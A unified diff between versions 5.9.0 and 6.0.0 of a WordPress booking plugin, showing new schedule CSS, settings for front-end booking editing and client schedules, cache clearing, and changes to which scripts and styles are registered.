+	font-size: 11.5px !important;

+}

+

+#schedules-filter .app-schedule-picker {

+	width: 120px;

+}

+

+#schedules-filter .app-page .tablenav .actions {

+    padding-right: 20px;

+}

+

+.app-front-admin #schedules-filter div.app-actions {

+	margin-top: 10px;

+}

+

+.app-schedule-select.ui-widget {

+	font-size: 13px;

+}

+

+#schedules-filter .app-schedule-start {

+	position: absolute;

+	z-index:101;

+	opacity: 0;

+	width: 120px;

+	font-size: 13px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

+}

+

+#schedules-filter .app-filter-submit-btn {

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

+}

+

+#schedules-filter .app-schedule-start-alt {

+	z-index:100;

+	width: 120px;

+	font-size: 13px;

+	height: 30px;

+	min-height: 30px;

+	line-height: 30px;

+}

+

+@media screen and (max-width: 782px) {

+	#schedules-filter input {

+		min-height: 30px;

+	}

+}

+

+#app-schedules {

+	-webkit-text-size-adjust: 100%;

+    -webkit-tap-highlight-color: transparent;

+    font-size: 1rem;

+    font-weight: 400;

+    line-height: 1.5;

+    color: #212529;

+    text-align: left;

+    background-color: transparent;

+	margin-left: 20px;

+}

+

+.app-account-page #app-schedules {

+	margin-left: 0;

+}

+

+#app-schedules .app-sched {

+    position: relative;

+    display: flex;

+    flex-direction: column;

+    min-width: 0;

+    word-wrap: break-word;

+    background-color: #fff;

+    background-clip: border-box;

+    border: 1px solid rgba(0, 0, 0, .125);

+    border-radius: .25rem;

+	margin-top: 0;

+    padding: 0;

+    max-width: none;

+    box-shadow: none;

+	box-sizing: border-box;

+}

+

+#app-schedules .app-sched-body {

+    flex: 1 1 auto;

+    min-height: 1px;

+    padding: 1.25rem;

+}

+

+#app-schedules .ec-toolbar {

+	flex-direction: row-reverse;

+}

+

+#app-schedules .ec-start {

+    display: flex;

+    flex-direction: row-reverse;

+}

+

+#app-schedules .ec-toolbar>*>:not(:last-child) {

+    margin-right: 0;

+}

+

+#app-schedules .btn-group,

+#app-schedules .btn-group-vertical {

+    position: relative;

+    display: inline-flex;

+    vertical-align: middle;

+}

+

+#app-schedules .btn-default:not(:disabled):not(.disabled).active,

+#app-schedules .btn-default:not(:disabled):not(.disabled):active {

+    color: #212529;

+    background-color: rgb(229.5, 229.5, 229.5);

+    border-color: rgb(169.6773255814, 180.125, 190.5726744186);

+}

+

+#app-schedules .btn-group>.btn-group:not(:last-child)>.btn {

+    border-top-right-radius: 0;

+    border-bottom-right-radius: 0;

+}

+

+#app-schedules .btn-default:hover {

+    color: #212529;

+    background-color: rgb(235.875, 235.875, 235.875);

+    border-color: rgb(176.9418604651, 186.5, 196.0581395349);

+}

+

+#app-schedules .btn-group-vertical>.btn,

+#app-schedules .btn-group>.btn {

+    position: relative;

+    flex: 1 1 auto;

+}

+

+#app-schedules .btn:hover {

+    color: #212529;

+    text-decoration: none;

+}

+

+#app-schedules .btn {

+    white-space: nowrap;

+}

+

+#app-schedules .btn {

+    display: inline-block;

+    font-weight: 400;

+    color: #212529;

+    text-align: center;

+    vertical-align: middle;

+    -webkit-user-select: none;

+    -moz-user-select: none;

+    user-select: none;

+    background-color: transparent;

+    border: 1px solid transparent;

+    padding: .375rem .75rem;

+    font-size: 1rem;

+    line-height: 1.5;

+    border-radius: .25rem;

+    transition: color .15s ease-in-out, background-color .15s ease-in-out, border-color .15s ease-in-out, box-shadow .15s ease-in-out;

+}

+

+#app-schedules .btn-default {

+    color: #212529;

+    background-color: #fff;

+    border-color: #ced4da;

+}

+

+#app-schedules .ec .ec-toolbar>*>:not(:first-child) {

+    margin-left: .75em;

+}

+

+#app-schedules .ec .ec-toolbar>*>:not(:first-child) {

+    margin-right: .75em;

+}

+

+#app-schedules .btn:not(:disabled) {

+    cursor: pointer;

+}

+

+#app-schedules .ec .ec-toolbar>*>* {

+    margin-bottom: .5em;

+}

+

+#app-schedules .btn-default:hover {

+    color: #212529;

+    background-color: rgb(235.875, 235.875, 235.875);

+    border-color: rgb(176.9418604651, 186.5, 196.0581395349);

+}

+

+#app-schedules .ec-event:not(.ec-pointer) {

+	cursor: pointer;

+    color: inherit;

+    padding: 2px 2px 2px 5px;

+    border-radius: 8px;

+	border: 1px solid #f0f0f0;

+	box-shadow: -.5px 0 0 #f0f0f0;

+    overflow: hidden;

+    display: flex;

+}

+

+#app-schedules .ec-week-view .ec-event,

+#app-schedules .ec-day-view .ec-event {

+	/* font-size: 12px; */

+}

+

+#app-schedules .ec-month-view .ec-event:not(.ec-pointer) {

+	outline: 2px solid #f0f0f0;

+}

+

+#app-schedules .ec-events {

+	cursor: cell;

+}

+

+#app-schedules .ec:not(.ec-month-view) .ec-events {

+	margin-right: 0;

+}

+

+#app-schedules .ec-month-view .ec-event,

+#app-schedules .ec-week-view:not(.ec-list) .ec-event.long,

+#app-schedules .ec-day-view:not(.ec-list) .ec-event.long,

+#app-schedules .ec-timeline .ec-event {

+	max-height: 48px;

+}

+

+#app-schedules .ec-month-view .ec-event {

+	left: 3px;

+}

+

+#app-schedules .ec-month-view .ec-events:not(.ec-preview) .ec-event:hover,

+#app-schedules .ec-week-view .ec-events:not(.ec-preview) .ec-event.long:hover,

+#app-schedules .ec-day-view .ec-events:not(.ec-preview) .ec-event.long:hover {

+	max-height: 100%;

+}

+

+#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event:hover {

+    height: auto !important;

+    z-index: 99 !important;

+}

+

+#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event:not(.long):hover {

+	width: max(100% , 144px) !important;

+}

+

+#app-schedules .ec:not(.ec-timeline) .ec-events:not(.ec-preview) .ec-event.long:hover {

+	min-width: 144px !important;

+}

+

+#app-schedules .ec.ec-timeline .ec-events.ec-preview .ec-event:hover {

+	width: 100% !important;

+}

+

+#app-schedules .ec-timeline .ec-event:hover {

+	max-height: unset;

+}

+

+#app-schedules .ec-timeline .ec-event:not(.long):hover {

+	width: 144px !important;

+}

+

+#app-schedules .ec-resource,

+#app-schedules .ec-timeline .ec-events {

+    min-height: 48px;

+}

+

+#app-schedules .ec-resource,

+#app-schedules .ec-timeline .ec-days {

+	flex-basis: 50px !important;

+}

+

+#app-schedules .ec-event-body {

+	display: block;

+}

+

+#app-schedules .ec-event-time {

+    position: relative;

+    font-weight: 700;

+    line-height: 1.3em;

+	margin: 0 3px 0 0;

+    max-width: 100%;

+    text-overflow: ellipsis;

+}

+

+#app-schedules .ec-event-title {

+    position: relative;

+    position: sticky;

+    line-height: 1.3em;

+	min-height: 1.5em;

+    text-overflow: ellipsis;

+    white-space: nowrap;

+}

+

+#app-schedules .ec-month-view .ec-event-time,

+#app-schedules .ec-month-view .ec-event-title,

+#app-schedules .ec-resource-day-view .ec-event-time,

+#app-schedules .ec-resource-day-view .ec-event-title {

+	line-height: 1.5em;

+}

+

+#app-schedules .ec-week-view .ec-event-time,

+#app-schedules .ec-week-view .ec-event-title {

+	line-height: 1.65em;

+}

+

+#app-schedules .ec-timeline .ec-body {

+	overflow-x: visible;

+	overflow-y: hidden;

+}

+

+.app-js-schedules .ec-bg-event {

+	cursor: not-allowed;

+}

+

+#app-schedules .ec-pointer,

+.app-js-schedules .ec-extra {

+    cursor: cell !important;

+}

+

+#app-schedules .ec-resource span {

+	padding-top: 0;

+}

+

+#app-schedules .ec-resource > span {

+	display: flex;

+    justify-content: space-between;

+	gap: 5px;

+	width: 100%;

+	max-width: 200px;

+	margin: auto;

+	padding-top: 4px;

+}

+

+#app-schedules .ec-resource .app-ec-title {

+    max-width: 150px;

+    line-height: 18px;

+	align-self: center;

+}

+

+#app-schedules .app-ec-img img.avatar {

+	border-radius: 5px;

+}

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/css: stripe.css
Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/css: updating.css
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/base-admin.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/base-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/base-admin.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/base-admin.php	2026-03-10 03:42:22.000000000 +0000
@@ -555,7 +555,7 @@
 
 		wpb_admin_access_check( 'manage_tools' );
 	?>
-<div class="wrap app-tools">
+<div class="wrap app-page app-tools">
 	<h2 class="app-dashicons-before dashicons-admin-tools"><?php echo __('Tools', 'wp-base' ); ?></h2>
 	<h3 class="nav-tab-wrapper"><?php
 
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/bookings.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/bookings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/bookings.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/bookings.php	2026-03-10 03:42:22.000000000 +0000
@@ -1488,7 +1488,7 @@
 		/* Services */

 		$html .= wpb_wrap_field( 'service',

 			$booking->is_event() ? __('Event', 'wp-base') : __('Service', 'wp-base'),

-			$controller->select_service( !$app_id ),

+			$controller->select_service( false, !$app_id ),

 			apply_filters( 'app_inline_edit_service_helptip', '', $booking, $controller )

 		);

 

@@ -1993,7 +1993,7 @@
 

 		$out = array(

 			'locations_sel'		=> $controller->select_location(),

-			'services_sel'		=> $controller->select_service( ! $app_id ),

+			'services_sel'		=> $controller->select_service( false, ! $app_id ),

 			'workers_sel'		=> wpb_is_admin_user() ? $controller->select_worker() : $controller->select_self_worker(),

 		);

 

@@ -2014,7 +2014,7 @@
 			$out	= array_merge( $out, array( 'price' => $slot->get_subtotal() + $slot->get_fee(), 'deposit' => $slot->get_deposit() ) );

 		}

 

-		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller, $this );

+		$out = apply_filters( 'app_inline_edit_update', $out, $booking, $old_booking, $controller );

 

 		die( json_encode( $out ) );

 	}

@@ -2123,7 +2123,7 @@
 			$booking->check_update( $old_booking );

 		}

 

-		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking, $this );

+		do_action( 'app_inline_edit_save_before_save', $booking, $old_booking );

 

 		$updated = $inserted = null;

 		$changed = false;

@@ -2170,12 +2170,12 @@
 			$changed = true;

 		}

 

-		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking, $this );

+		$changed = apply_filters( 'app_inline_edit_save', $changed, $booking, $old_booking );

 

 		if ( $updated ) {

-			do_action( 'app_inline_edit_updated', $booking, $old_booking, $this );

+			do_action( 'app_inline_edit_updated', $booking, $old_booking );

 		} else if ( $inserted ) {

-			do_action( 'app_inline_edit_new_booking', $booking, $old_booking, $this );

+			do_action( 'app_inline_edit_new_booking', $booking, $old_booking );

 		}

 

 		$email_sent = $this->send_email( $booking );

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/functions-admin.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/functions-admin.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/functions-admin.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/functions-admin.php	2026-03-10 03:42:22.000000000 +0000
@@ -22,10 +22,16 @@
  * @return object	WpB_Controller object

  */

 function wpb_prepare_booking( &$booking ) {

+	

+	if ( wpb_is_admin_user() ) {

+		$hier_forced = false;

+	} else {

+		$hier_forced = str_replace( 'W', '', wpb_setting( 'lsw_priority', WPB_DEFAULT_LSW_PRIORITY ) ) == 'LS' ? 'WLS' : 'WSL';

+	}

 

 	if ( $booking->get_ID() ) {

-		$hier_forced = str_replace( 'W', '', wpb_setting( 'lsw_priority', WPB_DEFAULT_LSW_PRIORITY ) ) == 'LS' ? 'WLS' : 'WSL';

-		$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), ( wpb_is_admin_user() ? false : $hier_forced ) );

+		

+		$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), $hier_forced );

 	} else {

 		if ( ! empty( $_REQUEST['add_new_event'] ) ) {

 			$booking->set_as_event();

@@ -42,7 +48,7 @@
 			$booking->set_status( 'confirmed' );

 			$booking->set_payment_method('');

 

-			$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ) );

+			$controller = new WpB_Controller( $booking, wpb_controller_order_by( $booking ), $hier_forced );

 		} else { /* Add New */

 			$controller = wpb_init_controller();

 

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/global-settings.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/global-settings.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/global-settings.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/global-settings.php	2026-03-10 03:42:22.000000000 +0000
@@ -43,6 +43,14 @@
 	}

 

 	/**

+	 * Get a list of editable fields keys

+	 * @return array

+	 */

+	public static function editable_fields() {

+		return apply_filters( 'app_editable_fields_selections', array_merge( array('location','service','worker','date','time'), BASE()->get_user_fields() ) );

+	}

+

+	/**

      * Save admin settings

      */

 	public function save_settings() {

@@ -87,6 +95,20 @@
 			$options['cancel_limit'] 				= preg_replace( '/[^0-9]/', '', $_POST['cancel_limit'] );

 			$options['cancel_page'] 				= isset( $_POST['cancel_page'] ) ? $_POST['cancel_page'] : '';

 

+			$options['allow_edit'] 					= $_POST['allow_edit'];

+			$options['edit_limit'] 					= preg_replace( '/[^0-9]/', '', $_POST['edit_limit'] );

+			$options['edit_upper_limit'] 			= preg_replace( '/[^0-9]/', '', $_POST['edit_upper_limit'] );

+

+			/* Which fields can be edited */

+			$temp = array();

+			foreach ( self::editable_fields() as $m ) {

+				if ( isset( $_POST['editable_'.$m ] ) ) {

+					$temp[] = $m;

+				}

+			}

+

+			$options["editable"] = implode( ',', $temp );

+

 		} else if ( 'save_global_advanced' == $_POST['action_app'] ) {

 			$settings_changed = true;

 

@@ -111,6 +133,7 @@
 													  : $_POST['description_post_type'];

 			$options['person_type_template']		= wp_unslash( $_POST['person_type_template'] );

 			$options['refresh_url']					= trim( $_POST['refresh_url'] );

+			$options['account_page']				= $_POST['account_page'];

 

 			$options['auto_delete']					= $_POST['auto_delete'];

 			$options['auto_delete_time']			= preg_replace( '/[^0-9]/', '', $_POST['auto_delete_time'] );

@@ -120,10 +143,13 @@
 			$options['admin_toolbar']				= $_POST['admin_toolbar'];

 			$options['records_per_page']			= preg_replace( '/[^0-9]/', '',  $_POST['records_per_page'] );

 			$options['records_per_page_business']	= preg_replace( '/[^0-9]/', '',  $_POST['records_per_page_business'] );

-			$options['schedule_show_images']		= $_POST['schedule_show_images'];

 			$options['schedule_allowed_stats']		= ! empty( $_POST['schedule_allowed_stats'] ) ? implode( ',', $_POST['schedule_allowed_stats'] ) : '';

+			$options['schedule_allowed_stats_client']	= ! empty( $_POST['schedule_allowed_stats_client'] ) ? implode( ',', $_POST['schedule_allowed_stats_client'] ) : '';

 			$options['schedule_desc_admin']			= wp_unslash( $_POST['schedule_desc_admin'] );

 			$options['schedule_desc_worker']		= wp_unslash( $_POST['schedule_desc_worker'] );

+			$options['schedule_desc_client']		= wp_unslash( $_POST['schedule_desc_client'] );

+			$options['schedule_client_can']			= $_POST['schedule_client_can'];

+			$options['schedule_show_images']		= $_POST['schedule_show_images'];

 

 			do_action( 'app_global_settings_maybe_updated' );

 

@@ -177,6 +203,16 @@
 			wpb_notice( 'saved' );

 			$this->settings_changed( $old_options, $options );

 		}

+

+		if ( ! empty( $_POST['schedule_clear_cache'] ) && 'yes' == $_POST['schedule_clear_cache'] ) {

+			foreach ( array( 'admin', 'worker', 'client' ) as $context ) {

+				wpb_schedules_delete_transients( $context );

+			}

+

+			delete_transient( 'wpbase_schedule_data' );

+

+			wpb_notice( __( 'Schedules cache cleared', 'wp-base' ) );

+		}

 	}

 

 	/**

@@ -234,6 +270,18 @@
 		if ( ! empty( $old_options['min_time'] ) && $old_options['min_time'] != $options['min_time'] ) {

 			wp_reschedule_event( strtotime( current_time( 'Y-m-d' ) ) - 24*3600, 'wpb_time_base_tick', 'app_time_base_tick' );

 		}

+

+		if ( $options['schedule_desc_admin'] != $old_options['schedule_desc_admin'] ) {

+			wpb_schedules_delete_transients( 'admin' );

+		}

+

+		if ( $options['schedule_desc_worker'] != $old_options['schedule_desc_worker'] ) {

+			wpb_schedules_delete_transients( 'worker' );

+		}

+

+		if ( empty( $old_options['schedule_desc_client'] ) || $options['schedule_desc_client'] != $old_options['schedule_desc_client'] ) {

+			wpb_schedules_delete_transients( 'client' );

+		}

 	}

 

 	/**

@@ -422,8 +470,45 @@
 				</div>

 			</div>

 

+			<p class="submit">

+				<input type="submit" class="button-primary" value="<?php _e('Save All Basic Settings', 'wp-base' ) ?>" />

+			</p>

+

 			<?php do_action( 'app_admin_settings_after_booking' ) ?>

 

+			<div class="postbox">

+				<div class="postbox-header">

+					<h3 class="hndle" id="front-end-edit"><span><?php _e('Editing & Rescheduling', 'wp-base'); ?></span></h3>

+				</div>

+				<div class="inside">

+					<table class="form-table">

+

+						<?php wpb_setting_yn( 'allow_edit' ) ?>

+						<?php wpb_setting_text( 'edit_limit' ) ?>

+						<?php wpb_setting_text( 'edit_upper_limit' ) ?>

+

+						<tr id="editable">

+							<th scope="row" ><?php WpBConstant::echo_setting_name('editable') ?></th>

+							<td class="has-checkbox">

+							<?php foreach ( self::editable_fields() as $m ) { ?>

+								<label>

+								<input type="checkbox" name="editable_<?php echo $m ?>" value="true" <?php if ( strpos( wpb_setting("editable"), $m ) !== false ) echo "checked='checked'"?>>

+								<span>

+								<?php

+									echo wpb_get_text($m);

+								?></span>

+								</label>

+							<?php } ?>

+							<br><span class="description app-btm"><?php WpBConstant::echo_setting_desc('editable') ?></span>

+							</td>

+						</tr>

+

+					</table>

+				</div>

+			</div>

+

+			<?php do_action( 'app_admin_settings_after_editing' ) ?>

+

 			<div class="submit app-manage-row">

 				<input type="hidden" name="action_app" value="save_general" />

 				<?php wp_nonce_field( 'update_app_settings', 'app_nonce', true ) ?>

@@ -536,6 +621,24 @@
 							</td>

 						</tr>

 

+						<tr id="schedule-desc-client">

+							<th scope="row"><?php WpBConstant::echo_setting_name( 'schedule_desc_client' ) ?></th>

+							<td>

+						<?php wp_editor( wpb_setting( 'schedule_desc_client', WpBConstant::$_schedule_desc_client ), 'schedule_desc_client',

+								array( 'editor_height'	=> WPB_EDITOR_HEIGHT,

+										'editor_class'	=> 'app-wp-editor',

+										'editor_css'	=> '',

+										'tinymce'		=> array( 'body_class' => 'app-editor-body' ),

+										'teeny'			=> true,

+										'wpautop'		=> false,

+										'media_buttons'	=> false,

+								));

+

+							 do_action( 'app_admin_after_schedule_desc', 'client' ); ?>

+							 <span class="description app-btm"><?php WpBConstant::echo_setting_desc( 'schedule_desc_client' ) ?></span>

+							</td>

+						</tr>

+

 						<tr id="schedule-allowed-stats">

 							<th scope="row" ><?php WpBConstant::echo_setting_name('schedule_allowed_stats') ?></th>

 							<td>

@@ -551,7 +654,26 @@
 							</td>

 						</tr>

 

-						<?php wpb_setting_yn( 'schedule_show_images' ); ?>

+						<tr id="schedule-allowed-stats-client">

+							<th scope="row" ><?php WpBConstant::echo_setting_name('schedule_allowed_stats_client') ?></th>

+							<td>

+								<select multiple data-noneSelectedText="<?php echo esc_attr( __('Select statuses', 'wp-base' ) ) ?>" data-selectedlist="12" name="schedule_allowed_stats_client[]" class="app_ms">

+							<?php

+								$stat_arr = explode( ',', wpb_setting( 'schedule_allowed_stats_client', 'paid,confirmed,pending,running,completed,removed' ) );

+								foreach( $this->a->get_statuses() as $key => $stat ) {

+

+									echo '<option value="'.$key.'" '.selected( in_array( $key, $stat_arr ), true, false ) .'>' . $this->a->get_status_name( $key ) . '</option>';

+								}

+							 ?></select>

+							<span class="description app-btm"><?php WpBConstant::echo_setting_desc('schedule_allowed_stats_client') ?></span>

+							</td>

+						</tr>

+

+						<?php

+						wpb_setting_yn( 'schedule_client_can' );

+						wpb_setting_yn( 'schedule_show_images' );

+						wpb_setting_yn( 'schedule_clear_cache' );

+						?>

 

 					</table>

 				</div>

@@ -612,6 +734,18 @@
 							</td>

 						</tr>

 

+						<tr id="account-page">

+							<th scope="row"><?php WpBConstant::echo_setting_name('account_page') ?></th>

+							<td>

+							<select name="account_page">

+							<?php

+							echo wpb_description_page_selection( 'page', wpb_setting( 'account_page' ) );

+							?>

+							</select>

+							<span class="description app-btm"><?php WpBConstant::echo_setting_desc('account_page') ?></span>

+							</td>

+						</tr>

+

 					</table>

 				</div>

 			</div>

Only in /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin: service-rte.php
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/services-list.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/services-list.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/services-list.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/services-list.php	2026-03-10 03:42:22.000000000 +0000
@@ -62,6 +62,7 @@
 	 public function __construct() {

 		$this->a = BASE();

 		$this->table = $this->a->services_table;

+		include_once WPBASE_PLUGIN_DIR . '/includes/admin/service-rte.php';

 	}

 

 	/**

@@ -1559,6 +1560,8 @@
 			'<input type="hidden" name="service_description_check" value="1"/>', $service->get_ID(), 'service_description', 'textarea' ),

 		__( 'Optional description text for the service.', 'wp-base' ) );

 		

+		do_action( 'app_service_inline_edit_after_description', $service );

+		

 ?></div><?php

 

 	if ( apply_filters( 'app_service_inline_edit_show_image', true, $service ) ) { ?>

@@ -1763,6 +1766,12 @@
 				$changed = true;

 			}

 		}

+		

+		if ( ! empty( $_POST['rte_content_check'] ) ) {

+			if ( $service->update_rte_content( ! empty( $_POST['rte_content'] ) ? wp_kses_post( $_POST['rte_content'] ) : '' ) ) {

+				$changed = true;

+			}

+		}		

 

 		if ( ! empty( $_POST['service_image_check'] ) ) {

 			if ( $service->update_image_url( ! empty( $_POST['service_image_url']) ? wpb_clean( trim( $_POST['service_image_url'] ) ) : '' ) ) {

@@ -2274,6 +2283,8 @@
 				owner_check: par.find("input[name='owner_check']").val(),

 				service_description: par.find("textarea[name='service_description']").val(),

 				service_description_check: par.find("input[name='service_description_check']").val(),

+				rte_content: par.find(".rte_content").html(),

+				rte_content_check: par.find("input[name='rte_content_check']").val(),				

 				service_image_url: par.find("input[name='service_image_url']").val(),

 				service_image_id: par.find("input[name='service_image_id']").val(),

 				service_image_check: par.find("input[name='service_image_check']").val(),

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/transactions.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/transactions.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/admin/transactions.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/admin/transactions.php	2026-03-10 03:42:22.000000000 +0000
@@ -575,7 +575,7 @@
 		</select>

 		<?php

 

-		if ( $loc_ids = wpb_front_admin_loc_ids() ) {

+		if ( ! wpb_is_client() && $loc_ids = wpb_front_admin_loc_ids() ) {

 			$add_class = $filt['location_id'] ? 'class="app-option-selected"' : '';

 		?>

 			<select name="app_location_id" <?php echo $add_class ?>>

@@ -593,7 +593,9 @@
 		<select name="app_service_id" <?php echo $add_class ?>>

 			<option value=""><?php _e('Filter by service','wp-base'); ?></option>

 		<?php

-		foreach ( wpb_front_admin_services() as $service ) {

+		$services = wpb_is_client() ? wpb_client_services() : wpb_front_admin_services();

+		

+		foreach ( $services as $service ) {

 			echo '<option '.selected( $filt['service_id'], $service->ID ).' value="'.$service->ID.'">'. $this->a->get_service_name( $service->ID ) .'</option>';

 		}

 		?>

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/assets.php /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/assets.php
--- /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/5.9.0/includes/assets.php	2026-01-06 00:50:56.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-base-booking-of-appointments-services-and-events/6.0.0/includes/assets.php	2026-03-10 03:42:22.000000000 +0000
@@ -46,35 +46,35 @@
 

 		add_action( 'app_shortcode_found', array( $this, 'request_load' ) );

 		add_action( 'app_load_assets', array( $this, 'request_load' ) );

-		

+

 		add_filter( 'do_shortcode_tag', array( $this, 'do_shortcode_tag' ), 10, 2 );

-		

+

 		add_action( 'template_redirect', array( $this, 'template_redirect' ) );

 	}

-	

+

 	/**

      * Find post object for non-single posts

 	 * Get cart values and remaining time before headers sent

      */

 	public function template_redirect() {

-	

+

 		if ( is_author() ) {

 			global $wp_query;

 			$this->author_id = $wp_query->queried_object_id;

 		}

-	

+

 		global $wp_the_query;

-		

+

 		if ( ! is_callable( array( $wp_the_query, 'get_queried_object' ) ) ) {

 			return;

 		}

-		

+

 		$current_object = $wp_the_query->get_queried_object();

-		

+

 		if ( empty( $current_object ) ) {

 			return;

 		}

-		

+

 		$this->current_post_id = ! empty( $current_object->ID ) ? $current_object->ID : 0;

 

 		if ( ! headers_sent() ) {

@@ -124,11 +124,6 @@
 		wp_register_script( 'jquery-app-qtip', WPB_PLUGIN_URL . '/js/dev/jquery.qtip.min.js', array('jquery'), $this->ver() );

 		wp_register_script( 'jquery-blockui', WPB_PLUGIN_URL . '/js/dev/jquery.blockUI.js', array('jquery'), $this->ver() );

 		wp_register_script( 'wp-base-countdown', WPB_PLUGIN_URL . '/js/dev/jquery.countdown.min.js', array('jquery','jquery-plugin'), $this->ver() );

-		wp_register_script( 'jquery-datatables', WPB_PLUGIN_URL . '/js/dev/jquery.dataTables.min.js', array('jquery-ui-core'), $this->ver() );

-		wp_register_script( 'jquery-datatables-jqueryui', WPB_PLUGIN_URL . '/js/dev/dataTables.jqueryui.min.js', array('jquery-datatables'), $this->ver() );

-		wp_register_script( 'jquery-datatables-jqueryui-responsive', WPB_PLUGIN_URL . '/js/dev/responsive.jqueryui.min.js', array('jquery-datatables-jqueryui','jquery-datatables-responsive'), $this->ver() );

-		wp_register_script( 'jquery-datatables-moment', WPB_PLUGIN_URL . '/js/dev/moment.min.js', array('jquery-datatables'), $this->ver() );

-		wp_register_script( 'jquery-datatables-responsive', WPB_PLUGIN_URL . '/js/dev/dataTables.responsive.min.js', array('jquery-datatables'), $this->ver() );

 		wp_register_script( 'jquery-plugin', WPB_PLUGIN_URL . '/js/mobile/jquery.plugin.min.js', array('jquery'), $this->ver() );

 		wp_register_script( 'jquery-qtip', WPB_PLUGIN_URL . "/js/dev/jquery.qtip.min.js", array('jquery'), $this->ver() );

 		wp_register_script( 'jquery-quickfit', WPB_PLUGIN_URL . '/js/dev/jquery.quickfit.js', array('jquery'), $this->ver() );

@@ -138,40 +133,31 @@
 		wp_register_script( 'jstz', WPB_PLUGIN_URL . '/js/dev/jstz.min.js', array(), $this->ver() );

 		wp_register_script( 'app-event-calendar', WPB_PLUGIN_URL . '/js/dev/event-calendar.min.js', array('jquery'), $this->ver() );

 		wp_register_script( 'app-schedules', WPB_PLUGIN_URL . '/js/schedules.js', array('app-event-calendar'), $this->ver() );

-		wp_register_style( 'app-schedules', WPB_PLUGIN_URL . '/css/schedules.css', array(), $this->ver() );

-		wp_register_style( 'wp-base-admin-front', WPB_PLUGIN_URL . '/css/front-admin.css', array(), WPB_VERSION );

 		wp_register_script( 'wp-base-common-scripts', WPB_PLUGIN_URL . '/js/common-scripts.js', array('jquery-ui-core','jquery-ui-widget', 'jquery-ui-position'), $this->ver(), true );

 		wp_register_script( 'wp-base-libs', WPB_PLUGIN_URL . '/js/libs.js', array('jquery-ui-widget','jquery-ui-button','jquery-ui-datepicker'), $this->ver(), true );

+		wp_register_script( 'wp-base-datatables', WPB_PLUGIN_URL . '/js/app-datatables.js', array('jquery'), $this->ver(), true );

+

+		wp_register_style( 'app-schedules', WPB_PLUGIN_URL . '/css/schedules.css', array(), $this->ver() );

+		wp_register_style( 'wp-base-admin-front', WPB_PLUGIN_URL . '/css/front-admin.css', array(), $this->ver() );

+		wp_register_style( 'wp-base-panels', WPB_PLUGIN_URL . '/css/panels.css', array(), $this->ver() );

